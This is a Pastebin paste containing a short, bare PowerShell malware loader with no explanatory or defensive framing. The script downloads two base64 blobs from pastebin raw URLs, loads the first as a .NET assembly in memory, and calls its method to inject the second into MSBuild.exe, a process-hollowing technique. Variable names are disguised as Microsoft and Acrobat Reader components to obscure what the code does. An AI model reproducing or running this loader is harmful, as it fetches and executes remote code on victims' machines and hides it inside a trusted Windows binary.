Advertisement
mariacdt

native power

Jun 22nd, 2019
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1. $version = @([System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion); function HexToBin([string]$MicrosoftSystenFramework) {
  2. $return = @()
  3. for ($MicrosoftRunned = 0; $MicrosoftRunned -lt $MicrosoftSystenFramework.Length ; $MicrosoftRunned += 2)
  4. {
  5. $return += [Byte]::Parse($MicrosoftSystenFramework.Substring($MicrosoftRunned, 2), [System.Globalization.NumberStyles]::HexNumber)
  6. }
  7. Write-Output $return
  8. }
  9.  
  10. $webClient = New-Object System.Net.WebClient
  11. $MicrosoftNetSystenFramework = $webClient.DownloadString('https://pastebin.com/raw/Gbhy2Lea ');
  12.  
  13. $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($MicrosoftNetSystenFramework))
  14.  
  15. $webClient = New-Object System.Net.WebClient
  16. $MicrosoftNetSystenFramework = $webClient.DownloadString('https://pastebin.com/raw/wxMgQyN0 ');
  17. [byte[]]$Data = [Convert]::FromBase64String($MicrosoftNetSystenFramework);
  18.  
  19. $AcrobatReader = $Assembly.GetType('C.M')
  20. $m = $AcrobatReader.GetMethod('R')
  21.  
  22. $m.Invoke($null, ($null, $('\Windows\Microsoft.NET\Framework\' + $version + '\MSBuild.exe'), '', $Data, $AcrobatReaderrue))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement